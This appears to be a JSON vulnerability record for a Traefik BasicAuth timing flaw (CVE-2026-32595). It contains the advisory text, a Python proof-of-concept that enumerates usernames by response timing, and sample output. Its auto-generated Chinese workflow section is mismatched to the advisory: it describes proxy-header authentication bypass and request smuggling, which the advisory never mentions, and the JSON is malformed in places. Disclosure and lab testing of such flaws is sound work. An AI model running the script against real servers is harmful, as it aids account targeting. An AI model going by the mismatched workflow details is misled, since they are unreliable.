211 行
14 KiB
JSON
211 行
14 KiB
JSON
{
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"canonical_id": "traefik--CVE-2026-32595",
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"system_id": "traefik",
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"display_name": "Traefik",
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"category": "servers",
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"advisory_mode": "server",
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"title": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration",
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"summary": "## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n name: basicauth\n namespace: traefik-poc\nspec:\n basicAuth:\n secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: test-basicauth\n annotations:\n traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n ingressClassName: traefik\n rules:\n - http:\n paths:\n - path: /protected\n pathType: Prefix\n backend:\n service:\n name: whoami\n port:\n number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n times = []\n for _ in range(SAMPLES):\n start = time.perf_counter()\n requests.get(TARGET, auth=(username, password), timeout=5)\n elapsed = time.perf_counter() - start\n times.append(elapsed)\n return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n median = measure_time(user)\n if median > 0.05: # bcrypt threshold\n status = \"[+] EXISTS (slow - bcrypt verification)\"\n else:\n status = \"[-] NOT FOUND (fast - immediate return)\"\n print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n - Attackers can enumerate valid usernames without authentication\n - Enables targeted password brute-force attacks against confirmed accounts\n - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n - BasicAuth middleware enabled\n - Attacker able to make requests to protected endpoints\n - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n</details>\n\n---",
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"published_at": "2026-03-20T15:43:13Z",
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"updated_at": "2026-03-23T18:56:05.020639Z",
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"severity": "medium",
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"cvss_score": 4.0,
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"exploit_status": "unknown",
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"source_confidence": "official",
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"official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr",
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"secondary_source_urls": [
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"https://nvd.nist.gov/vuln/detail/CVE-2026-32595",
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"https://github.com/traefik/traefik",
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"https://github.com/traefik/traefik/releases/tag/v2.11.41",
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"https://github.com/traefik/traefik/releases/tag/v3.6.11",
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"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
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],
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"aliases": [
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"CVE-2026-32595",
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"GO-2026-4792",
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"GHSA-g3hg-j4jv-cwfr"
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],
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"cve_ids": [
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"CVE-2026-32595"
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],
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"ghsa_ids": [
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"GHSA-g3hg-j4jv-cwfr"
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],
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"osv_ids": [
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"GHSA-g3hg-j4jv-cwfr",
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"GO-2026-4792"
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],
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"affected_versions": [
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"introduced=0, last_affected=1.7.34",
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"introduced=0, fixed<2.11.41",
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"introduced=0, fixed<3.6.11",
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"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
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"introduced=0"
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],
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"fixed_versions": [
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"2.11.41",
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"3.6.11",
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"3.7.0-ea.2"
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],
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"package_name": "github.com/traefik/traefik/v3",
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"render_markdown": false,
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"case_path": null,
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"secure_code_topics": [
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"proxy-trust-boundary",
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"request-smuggling-boundary",
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"dependency-upgrade-policy"
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],
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"status": "generated",
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"triage_reasons": [],
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"entity_refs": [
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{
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"entity_id": "traefik",
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"entity_type": "system",
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"relation": "root-system",
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"root_system_id": "traefik",
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"official": true
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},
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{
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"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
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"entity_type": "repo",
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"relation": "affected-component",
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"root_system_id": "traefik",
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"official": false
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}
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],
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"affected_components": [
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{
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"name": "traefik / traefik / v3",
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"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
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"scope": "repo",
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"package_name": "github.com/traefik/traefik/v3",
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"official": false
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}
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],
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"affected_version_ranges": [
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"introduced=0, last_affected=1.7.34",
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"introduced=0, fixed<2.11.41",
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"introduced=0, fixed<3.6.11",
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"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
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"introduced=0"
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],
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"fixed_version_ranges": [
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"2.11.41",
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"3.6.11",
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"3.7.0-ea.2"
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],
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"introduced_version": "introduced=0",
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"patched_version": "2.11.41",
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"version_evidence_sources": [
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"https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr",
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"https://nvd.nist.gov/vuln/detail/CVE-2026-32595",
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"https://github.com/traefik/traefik",
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"https://github.com/traefik/traefik/releases/tag/v2.11.41",
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"https://github.com/traefik/traefik/releases/tag/v3.6.11",
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"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
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],
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"affected_version_refs": [
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"traefik--repo--github-com-traefik-traefik-v3--introduced-0-last-affected-1-7-34",
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"traefik--repo--github-com-traefik-traefik-v3--introduced-0-fixed-2-11-41",
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"traefik--repo--github-com-traefik-traefik-v3--introduced-0-fixed-3-6-11",
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"traefik--repo--github-com-traefik-traefik-v3--introduced-3-7-0-ea-1-fixed-3-7-0-ea-2",
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"traefik--repo--github-com-traefik-traefik-v3--introduced-0"
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],
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"fixed_version_refs": [
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"traefik--repo--github-com-traefik-traefik-v3--2-11-41",
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"traefik--repo--github-com-traefik-traefik-v3--3-6-11",
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"traefik--repo--github-com-traefik-traefik-v3--3-7-0-ea-2"
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],
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"patched_version_refs": [
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"traefik--repo--github-com-traefik-traefik-v3--2-11-41"
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],
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"version_sync_confidence": "high",
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"advisory_scope": "repo",
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"version_confidence": "high",
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"version_gap_reason": "",
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"version_resolution_needed": false,
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"workflow": {
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"workflow_id": "traefik--CVE-2026-32595--workflow",
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"vuln_family": "proxy-boundary",
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"entry_surface": "proxy-header-or-trust-boundary",
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"preconditions": [
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"\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
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"\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, last_affected=1.7.34, introduced=0, fixed<2.11.41, introduced=0, fixed<3.6.11",
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"\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
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],
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"required_role": "reverse-proxy-or-edge-client",
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"affected_version_assertion": [
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"introduced=0, last_affected=1.7.34",
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"introduced=0, fixed<2.11.41",
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"introduced=0, fixed<3.6.11",
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"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
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"introduced=0"
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],
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"trigger_vector": "\u5bf9 `proxy-boundary` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
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"request_or_ui_path": [
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"/middleware",
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"/x-forwarded-* trust path"
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],
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"input_shape": "\u63d0\u4ea4\u53d7\u63a7\u4ee3\u7406\u5934\u6216\u6765\u6e90\u5934\uff0c\u9a8c\u8bc1\u4fe1\u4efb\u8fb9\u754c\u548c\u56de\u6e90\u9274\u6743\u3002",
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"expected_unsafe_behavior": "\u4ec5\u51ed\u4ee3\u7406\u5934\u5373\u53ef\u8d8a\u8fc7\u9274\u6743\u6216\u6765\u6e90\u63a7\u5236\u3002",
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"server_evidence_points": [
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"\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
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"\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
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],
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"browser_evidence_points": [
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"\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
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"console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
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],
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"db_or_fs_evidence_points": [
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"\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
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"\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
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],
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"detection_signals": [
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"WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
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"\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6",
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"\u4e0a\u6e38\u4ee3\u7406\u4e0e\u5e94\u7528\u5c42\u5bf9 Content-Length / Transfer-Encoding / forwarded headers \u7684\u89e3\u91ca\u5dee\u5f02"
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],
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"patch_validation_steps": [
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"\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, last_affected=1.7.34, introduced=0, fixed<2.11.41, introduced=0, fixed<3.6.11` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `2.11.41`\u3002",
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"\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
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],
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},
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"historical_status": null,
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"latest_status": null,
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"present": false,
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"refs": []
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},
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"artifact_mode": "synthetic",
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"blocked_reason": null,
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"metadata": {
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"source_names": [
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"OSV Traefik"
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],
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"source_kinds": [
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"osv-batch"
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],
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"candidate_count": 2,
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"entity_ref_count": 2,
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"advisory_scope": "repo",
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"version_confidence": "high",
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"workflow_id": "traefik--CVE-2026-32595--workflow"
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}
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}
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